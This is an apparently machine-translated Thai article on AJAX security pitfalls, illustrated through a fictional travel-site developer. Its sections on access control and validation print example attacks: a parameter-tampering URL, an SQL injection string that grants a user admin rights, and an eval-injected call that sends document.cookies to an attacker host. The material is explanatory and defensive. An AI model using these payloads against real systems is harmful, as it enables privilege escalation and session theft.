นักพัฒนาเว็บจะไม่สังเกตเห็นความตื่นเต้นที่เกิดจาก "AJAX (Asynchronous JavaScript และ XML)" การสร้างเว็บไซต์อัจฉริยะ เช่น Google Suggest หรือแอปพลิเคชันบนเว็บ เช่น Gmail เป็นเรื่องง่าย ต้องขอบคุณเทคโนโลยีนี้เป็นส่วนใหญ่ อย่างไรก็ตาม ด้วยการพัฒนาแอปพลิเคชัน AJAX เราค้นพบข้อบกพร่องบางประการ และเราพบว่าช่องโหว่ด้านความปลอดภัยนั้นค่อยๆ ใหญ่ขึ้น เช่นเดียวกับการค่อยๆ วางไซต์ที่ใช้ AJAX ลงในระเบิดเวลา นักพัฒนาเว็บจะไม่สังเกตเห็นความตื่นเต้นที่เกิดจาก "AJAX (Asynchronous JavaScript และ XML)" การสร้างเว็บไซต์อัจฉริยะ เช่น Google Suggest หรือแอปพลิเคชันบนเว็บ เช่น Gmail เป็นเรื่องง่าย ต้องขอบคุณเทคโนโลยีนี้เป็นส่วนใหญ่ อย่างไรก็ตาม ด้วยการพัฒนาแอปพลิเคชัน AJAX เราค้นพบข้อบกพร่องบางประการ และเราพบว่าช่องโหว่ด้านความปลอดภัยนั้นค่อยๆ ใหญ่ขึ้น เช่นเดียวกับการค่อยๆ วางไซต์ที่ใช้ AJAX ลงในระเบิดเวลา
ประโยชน์ของอาแจ็กซ์
ในยุคเก่าของ "เว็บแอป" สิ่งต่างๆ ค่อนข้างเรียบง่าย คุณกรอกแบบฟอร์ม คลิกปุ่ม "ส่ง" และหน้าจอปัจจุบันจะหายไป รอสักครู่ก่อนที่คุณจะถูกย้ายไปยังหน้าถัดไป ในปัจจุบันนี้ไม่ได้เป็นเช่นนั้นอีกต่อไป สิ่งที่ผู้ใช้ต้องการคือประสบการณ์บนเว็บที่ราบรื่น รวดเร็ว และใช้งานง่ายเหมือนกับแอปพลิเคชันบนเดสก์ท็อปอื่นๆ
AJAX มักทำงานร่วมกับ DHTML (Dynamic HTML) และการดำเนินการที่ราบรื่นต้องอนุญาตให้โค้ด JavaScript ในหน้าเว็บและเว็บเซิร์ฟเวอร์สามารถสื่อสารได้อย่างราบรื่นในเบื้องหลัง ตัวอย่างเช่น เมื่อคุณเริ่มพิมพ์บางอย่างในช่องค้นหาของ Google Suggest หน้าเว็บและเซิร์ฟเวอร์จะเริ่มแลกเปลี่ยนข้อมูลในพื้นหลัง จากนั้นระบบจะระบุคำบางคำที่คุณอาจต้องใช้ ทั้งหมดนี้โดยไม่ต้องรีเฟรชหน้าหรือกดปุ่มใดๆ นี่คือสาเหตุที่แอปอย่าง Gmail ทำงานได้ดีกับการตรวจสอบการสะกดแบบเรียลไทม์
AJAX ทำงานอย่างไร
หลักการที่ซับซ้อนของ AJAX นั้นอยู่นอกเหนือขอบเขตของสิ่งที่ฉันต้องการอธิบายในวันนี้ ดังนั้นฉันจะอธิบายเพียงสั้นๆ ที่นี่เท่านั้น รหัส JavaScript บนเพจของคุณสามารถติดต่อเว็บเซิร์ฟเวอร์ของคุณได้โดยไม่ต้องพึ่งพาผู้ใช้ บทบาทหลักที่นี่คือออบเจ็กต์ XMLHttpRequest ของ JavaScript ซึ่งสามารถทริกเกอร์ในพื้นหลังหรือแบบอะซิงโครนัสโดยเหตุการณ์ เช่น การกดแป้นของผู้ใช้หรือเหตุการณ์นาฬิกา (นั่นคือ คำว่า JavaScript และ XML แบบอะซิงโครนัส)
หากคุณพิมพ์ "ajax" ลงใน Google Suggest คุณจะได้รับคำขอเซิร์ฟเวอร์เหมือนกับที่ฉันได้รับหลังจากพิมพ์:
1. www.google.com/complete/search?hl=th&js=true&qu=aj
2. www.google.com/complete/search?hl=th&js=true&qu=aja
3. www.google.com/complete/search?hl=th&js=true&qu=ajax
ส่วน XML ของคำศัพท์นี้ทำให้เข้าใจผิดเล็กน้อย จริงๆ แล้วมันไม่มีความหมาย ได้รับชื่อมาจากออบเจ็กต์ JavaScript และแอปพลิเคชันสไตล์ AJAX จำนวนมากใช้ XML ซึ่งสามารถส่งคำขอไปยังเซิร์ฟเวอร์สำหรับธุรกรรมใดๆ แม้แต่โค้ด JavaScript เองก็สามารถดึงข้อมูลและประเมินผลได้ การป้อนข้อมูล "ตัวอย่าง ajax" ของฉันต่อไปจะทำให้เกิดการตอบสนองต่อไปนี้จากเซิร์ฟเวอร์ของ Google:
sendRPCDone(frameElement, "ตัวอย่าง ajax", อาร์เรย์ใหม่ ("ตัวอย่าง ajax", "ตัวอย่าง ajax"), อาร์เรย์ใหม่ ("ผลลัพธ์ 153,000 รายการ", "ผลลัพธ์ 177,000 รายการ"), อาร์เรย์ใหม่ (""));
สิ่งนี้จะให้คำแนะนำเกี่ยวกับพลังของ AJAX ด้วยความสามารถในการเพิ่มโค้ด JavaScript ใหม่ให้กับเบราว์เซอร์ได้ทันที อย่างไรก็ตาม แนวทางที่เหมาะสมที่สุดดูเหมือนจะผูกเข้ากับโปรโตคอล XML เพื่อเป็นตัวอย่าง Google ได้จัดทำสิ่งต่อไปนี้:
ตัวอย่างอาแจ็กซ์
153,000
ตัวอย่างอาแจ็กซ์
177,000
แน่นอนว่าคุณสามารถแยกวิเคราะห์ข้อมูล XML นี้ในรูปแบบที่เหมาะสมได้ แต่เราต้องขอบคุณ JavaScript สำหรับความสามารถในการจัดการวัตถุ XML ได้เป็นอย่างดีภายใต้ข้อจำกัดทั่วไปบางประการและข้อบกพร่องของ IE ที่น่ารังเกียจมากมาย
เพื่อช่วยให้คุณเข้าใจปัญหาบางอย่างของ Ajax ฉันมาที่นี่เพื่อแนะนำให้คุณรู้จักกับบริษัทท่องเที่ยวในจินตนาการ - "Times Cutting Edge Travel Company" ด้วยแรงกระตุ้นจากข้อผิดพลาดของ AJAX ทำให้ Max Uptime หัวหน้านักพัฒนาเว็บของพวกเขา ตัดสินใจผสม AJAX เพื่อสร้างแอปพลิเคชันในลักษณะนี้ ด้วยวิธีนี้ เขาจึงล้ำหน้ากว่าใคร
ปัญหาอาแจ็กซ์
ความเสี่ยงด้านความปลอดภัย AJAX มากกว่าครึ่งหนึ่งมาจากช่องโหว่ที่ซ่อนอยู่ในเซิร์ฟเวอร์ เห็นได้ชัดว่าการออกแบบที่ดีโดยใช้เทคนิคการเข้ารหัสที่ปลอดภัยช่วยให้ AJAX ปลอดภัยยิ่งขึ้น และเราต้องขอขอบคุณ Max สำหรับความคุ้นเคยกับรายการช่องโหว่ด้านความปลอดภัยบนเว็บแอปพลิเคชันที่เลวร้ายที่สุด 10 อันดับแรกของ Open Web Application Security Project (OWASP) ( www. owasp.org ) น่าเสียดายที่เมื่อ Max ใช้งาน AJAX เขายังคงต้องเผชิญกับปัจจัยเพิ่มเติมหลายประการ:
1. เทคโนโลยีใหม่: หาก Max ต้องการเชื่อมต่อไซต์ของเขากับฐานข้อมูล SQL เขาพบตัวอย่างนับล้านตัวอย่างบน Google เทคโนโลยี AJAX ไม่ว่าเทคโนโลยีนี้จะอายุน้อยเพียงใด แต่ก็ยังค่อนข้างเร็วในวงจรการจัดซื้อ แม้ว่าจะมีตัวอย่างที่ดีเพียงไม่กี่ตัวอย่างที่ปรากฏบนเว็บก็ตาม เพื่อที่จะแก้ไขปัญหาที่ซับซ้อนและยากลำบากโดยไม่จำเป็น นักพัฒนาอย่าง Max จึงต้องพัฒนาอย่างอิสระ แม็กซ์จะต้องเขียนโค้ดฝั่งเซิร์ฟเวอร์และฝั่งไคลเอ็นต์ สร้างโปรโตคอลที่เขาไม่แน่ใจ (โดยเฉพาะสำหรับการตอบกลับของเซิร์ฟเวอร์) ไม่ว่าข้อตกลงเหล่านี้จะดีแค่ไหนก็จะแสดงบนหน้าเพจทันเวลา
2. การออกแบบที่ไม่ใช่แบบดั้งเดิม: AJAX แตกต่างจากการออกแบบแบบดั้งเดิมเล็กน้อยเนื่องจากแอปพลิเคชันดังกล่าวเป็นแบบครึ่งไคลเอ็นต์และครึ่งหนึ่งของเซิร์ฟเวอร์ ในกรณีของ Max เขาเป็นนักพัฒนาเพียงคนเดียว ดังนั้นเขาจึงสามารถเขียนโค้ดได้ทั้งบนเซิร์ฟเวอร์และไคลเอนต์ การพัฒนาในสองภาษาที่แตกต่างกันในเวลาเดียวกัน (โดยเฉพาะในช่วงแรก) จะทำให้เกิดข้อผิดพลาดในการเขียนโค้ดขั้นพื้นฐานเนื่องจากจะข้ามไปมาระหว่างปลายทั้งสองข้าง สิ่งที่ยอดเยี่ยมในปลายด้านหนึ่งอาจไม่สามารถทำงานได้ในอีกด้านหนึ่ง . แม้ว่า Max จะมีทีมพัฒนาขนาดใหญ่ ความรับผิดชอบในการเขียนโค้ดความปลอดภัยอาจเกิดขึ้นเมื่อโค้ดถูกส่งต่อระหว่างเซิร์ฟเวอร์และทีมพัฒนาไคลเอนต์
3. มีภาษาสคริปต์มากเกินไป: แม็กซ์ใช้ความเฉลียวฉลาดของตัวเองในการตัดสินใจสร้างเครื่องมือเช็คอินการเดินทางที่ดีที่สุดในโลก คุณเริ่มต้นการลงทะเบียนโดยป้อนตำแหน่งปัจจุบันของคุณ (ผ่านรหัสไปรษณีย์ รหัสพื้นที่ GPS ฯลฯ) และคำขอ AJAX จะถูกส่งทันทีเพื่อระบุตำแหน่งที่แน่นอนของคุณ จากจุดนั้น หน้าจอจะแสดงตัวเลือกการเดินทางทั้งหมดที่มีให้คุณ ก่อนที่คุณจะตัดสินใจว่าต้องการไปที่ไหน เมื่อคุณต้องการออกเดินทาง และคุณต้องการไปกับใคร
เซลล์และการควบคุมบนหน้าจอนี้ขับเคลื่อนด้วย AJAX ทั้งหมด และสคริปต์ฝั่งเซิร์ฟเวอร์และฝั่งไคลเอ็นต์อาจต้องการการเรียกเซิร์ฟเวอร์ที่แตกต่างกันมากกว่า 20 รายการ คุณสามารถจินตนาการถึงโปรแกรมเซิร์ฟเวอร์ขนาดเล็ก เช่น findairportsbylocation.aspx หรือกำหนด maxbaggageallowancebyairline.php
เห็นได้ชัดว่าหากไม่มีการวางแผนอย่างรอบคอบของ Max (เช่น การสร้างฟังก์ชัน JavaScript และสคริปต์เซิร์ฟเวอร์ที่ "โอเวอร์โหลด" ที่หลากหลาย) เขาคงจะสร้างชิ้นส่วนแยกกันมากกว่า 40 ชิ้นสำหรับแต่ละการออกแบบ การเขียนโปรแกรมมากขึ้นหมายถึงมีข้อผิดพลาดและข้อบกพร่องมากขึ้น ซึ่งหมายถึงมีเวลามากขึ้นในการเขียน จัดการ ทดสอบ และอัปเดตโค้ด ไม่เพียงเท่านั้น แต่เนื่องจากมีสคริปต์จำนวนมากที่ใช้ในโค้ด JavaScript ฝั่งไคลเอ็นต์ สคริปต์เหล่านี้จึงมักจะถูกลืมอย่างมากในระหว่างการทดสอบโปรแกรมอย่างเป็นทางการ
4. ตรวจสอบให้แน่ใจว่า AJAX จำนวนเล็กน้อยจะไม่ก่อให้เกิดอันตราย: ไซต์นี้เป็นไซต์สำหรับการวางแผนการเดินทาง แต่แม็กซ์คิดว่าจะให้มุมมองดาวเทียมแก่คุณทันทีที่แสดงตำแหน่งที่แม่นยำและสภาพอากาศของจุดหมายปลายทางของคุณ . ให้กับคุณอีกด้วย. สิ่งล่อใจที่ยิ่งใหญ่อย่างหนึ่งของ AJAX คือดูเหมือนว่ามันกำลังทำอย่างอื่นจนถึงนาทีสุดท้าย เหมือนกับที่ผู้วิจารณ์กำลังอธิบายอยู่ โดยใช้ AJAX เพื่อประโยชน์ของ AJAX เมื่อ Max เริ่มลองใช้แนวคิดใหม่ เขาจะค่อยๆ พยายามเพิ่มคุณลักษณะใหม่ๆ มากขึ้น โดยไม่สนใจความจำเป็นในการทดสอบเลย
5. การสื่อสารที่ไม่ปลอดภัย: การโทร AJAX แต่ละครั้งอาจส่งคืนข้อมูลจำนวนเล็กน้อยไปยังไคลเอนต์เท่านั้น แต่ข้อมูลนั้นเป็นส่วนตัวและเป็นความลับ Max สามารถเขียนเครื่องมือที่มีประโยชน์เพื่อตรวจสอบหมายเลขบัตรเครดิตของคุณแบบดิจิทัลได้ แต่จะเป็นอย่างไรหากคุณใช้ข้อความธรรมดาแทน SSL เพื่อส่งข้อมูล เป็นคำถามที่ชัดเจน แต่เมื่อต้องมีกิจวัตรมากมายที่ต้องพิจารณา โดยเฉพาะอย่างยิ่งเมื่ออีก 99% ของ ข้อมูลบนหน้าจอไม่ใช่ข้อมูลที่เป็นความลับอย่างแท้จริง จึงเป็นเรื่องง่ายที่จะเพิกเฉยต่อ SSL
6. การควบคุมการเข้าถึงฝั่งเซิร์ฟเวอร์: การใช้โปรแกรม JavaScript เพื่อทริกเกอร์ AJAX มักจะซ่อนข้อผิดพลาดในการเขียนโค้ดบางอย่างที่ชัดเจนไว้ สมมติว่าแม็กซ์ต้องการเสนอโรงแรมที่คุณชื่นชอบโดยอิงตามจุดหมายปลายทางโดยละเอียดที่คุณเคยไปมาครั้งล่าสุด เขาอาจมีหน้าตาเช่นนี้:
showprevioushotels.aspx?userid=12345&destination=UK
แน่นอนว่านี่เป็นสิ่งที่ดีมาก แต่จะเกิดอะไรขึ้นหากผู้ใช้ที่ประสงค์ร้ายเปลี่ยน URL เป็นดังนี้:
showprevioushotels.aspx?userid=12346&destination=%
พวกเขาจะได้โรงแรมโปรดของคนอื่นหรือไม่ (หมายเหตุ: % เป็นอักขระตัวแทนในคำสั่ง SQL) ไม่ต้องสงสัยเลยว่านี่คือตัวอย่างที่ไม่เป็นอันตราย แต่ Max ควรใช้เซสชัน คุกกี้ หรือโทเค็นอื่นๆ เพื่อให้แน่ใจว่าข้อมูลจะถูกส่งไปยังผู้ใช้ที่ถูกต้องเท่านั้น อาจเป็นเพียงส่วนเล็กๆ ของข้อมูล แต่อาจเป็นส่วนที่สำคัญที่สุด
7. การตรวจสอบฝั่งเซิร์ฟเวอร์: จริงๆ แล้วมีปัญหาสองประการที่นี่ ประการแรก การควบคุม AJAX มักใช้เพื่อตรวจสอบความถูกต้องของอินพุตของผู้ใช้ก่อนส่งไปยังเซิร์ฟเวอร์ในขั้นสุดท้าย สิ่งนี้ทำให้ Max เป็นอัมพาตและทำให้เขารู้สึกปลอดภัยผิด ๆ เพราะเขาตั้งค่าฟังก์ชันที่เรียกว่า Allowdestinations.php ซึ่งกำหนดปลายทางที่ถูกต้องสำหรับผู้ใช้ตาม ID ของพวกเขา
เนื่องจากนี่คือการตรวจสอบฝั่งเซิร์ฟเวอร์ เขาจึงไม่ต้องกังวลกับการตรวจสอบบนเซิร์ฟเวอร์อีกครั้งเมื่อมีการส่งเพจในที่สุด เราถือว่าไม่มีผู้ใช้ที่เป็นอันตรายสามารถล้มล้างการตอบสนองจาก Allowdestinations.php หรือทำลายคำขอสุดท้ายไปที่ เซิร์ฟเวอร์ร้องขอ
การควบคุม AJAX สามารถตรวจสอบอินพุตของผู้ใช้ได้ละเอียดกว่าตัวผู้ใช้เอง แต่บ่อยครั้งก็ยังคงทำการตรวจสอบขั้นสุดท้ายบนเซิร์ฟเวอร์
ปัญหาที่สองของการตรวจสอบความถูกต้องของ AJAX คือการควบคุมนั้นอยู่ภายใต้ช่องโหว่ในการตรวจสอบความถูกต้อง ขอย้ำอีกครั้งว่า URL มักถูกซ่อนไว้ ดังนั้นจึงมักถูกลืม ตัวอย่างเช่น บางทีฉันอาจจะใช้ SQL Injection เพื่อโจมตีสคริปต์ได้ในตอนนี้ ดังนี้:
showprevioushostels.aspx?userid='; อัปเดตชุดผู้ใช้ type='admin' โดยที่ userid=12345;--
มันจะอนุญาตให้ฉันเข้าสู่ระบบด้วยสิทธิ์ของผู้ดูแลระบบ แน่นอนว่าวิธีการรับชื่อตารางและชื่อเขตข้อมูลเหล่านั้นอยู่นอกเหนือขอบเขตของบทความนี้ แต่คุณรู้สถานการณ์นี้อยู่แล้วใช่ไหม
8. การยืนยันฝั่งไคลเอ็นต์: เราทราบแล้วว่าในตัวอย่าง Google Suggest ขณะนี้ เป็นไปได้ที่จะสร้างและดำเนินการฟังก์ชัน JavaScript แบบไดนามิกโดยเพียงแค่ประเมินการตอบสนองฝั่งเซิร์ฟเวอร์ หากไม่มีการตรวจสอบรูปแบบใดๆ (ซึ่งคงเป็นเรื่องยากที่จะรับประกันความน่าเชื่อถือและความคล่องในฝั่งไคลเอ็นต์) ไคลเอ็นต์จะดำเนินการในสิ่งที่เซิร์ฟเวอร์ต้องการให้ทำ
ในกรณีนี้ เนื่องจากผู้ใช้ทั่วไปไม่สามารถมองเห็นการเรียกใช้โค้ดจริงได้ (เช่น คุณไม่สามารถ "ดูแหล่งที่มา") จึงอาจเป็นการเปิดเส้นทางการโจมตีที่สมบูรณ์สำหรับแฮกเกอร์ที่เป็นอันตราย หากการตอบสนองของเซิร์ฟเวอร์ถูกแก้ไขอยู่ตลอดเวลา (ทั้งบนเว็บเซิร์ฟเวอร์เองหรือระหว่างการถ่ายโอนข้อมูล) การโจมตีนี้จะตรวจจับได้ยาก
Max ใช้การตอบสนองต่อไปนี้เพื่ออัปเดตไอคอนสภาพอากาศบนหน้าเว็บปลายทาง ฟังก์ชันที่เขาใช้คือฟังก์ชัน eval();
updateWeatherIcon('cloudy.gif');
อย่างไรก็ตาม แครกเกอร์ที่เป็นอันตรายสามารถเปลี่ยนฟังก์ชันนี้ให้อยู่ในรูปแบบต่อไปนี้ ซึ่งทำให้การตรวจจับการโจมตียากขึ้น:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
ขณะนี้เราสามารถติดตาม ID เซสชัน/คุกกี้ของผู้ใช้แต่ละรายบนเซิร์ฟเวอร์ของเราเองได้แล้ว
สรุป
ไม่ต้องสงสัยเลยว่าเทคโนโลยีสไตล์ AJAX และ AJAX นั้นเป็นหนทางที่สดใสในการออกแบบเว็บไซต์ นักพัฒนาสามารถสร้าง "แอปพลิเคชัน" ที่แท้จริงบนเว็บที่ไม่เคยมีมาก่อน แต่ต้องใช้ความระมัดระวังเมื่อใช้ AJAX เพื่อรับรองความปลอดภัยของเว็บไซต์
อย่างไรก็ตาม หนึ่งในภัยคุกคามที่ใหญ่ที่สุดมาจากสคริปต์ฝั่งไคลเอ็นต์ที่ซับซ้อนมากขึ้น และสคริปต์ฝั่งเซิร์ฟเวอร์ที่ใช้ AJAX สคริปต์เหล่านี้ถูกซ่อนไม่ให้ใครเห็นด้วยวิธีทางเทคนิค ทำให้การทดสอบไม่เป็นไปตามสัญชาตญาณ ขณะเดียวกัน เทคโนโลยีใหม่นี้ดูเหมือนว่าจะทำให้นักพัฒนาเว็บลืมพื้นฐานของการเขียนโค้ดที่ดี ปัญหาต่างๆ เช่น การควบคุมการเข้าถึงและการตรวจสอบอินพุตจะไม่หายไป แต่ปัญหาต่างๆ มีจำนวนมากขึ้นและซับซ้อนมากขึ้น
-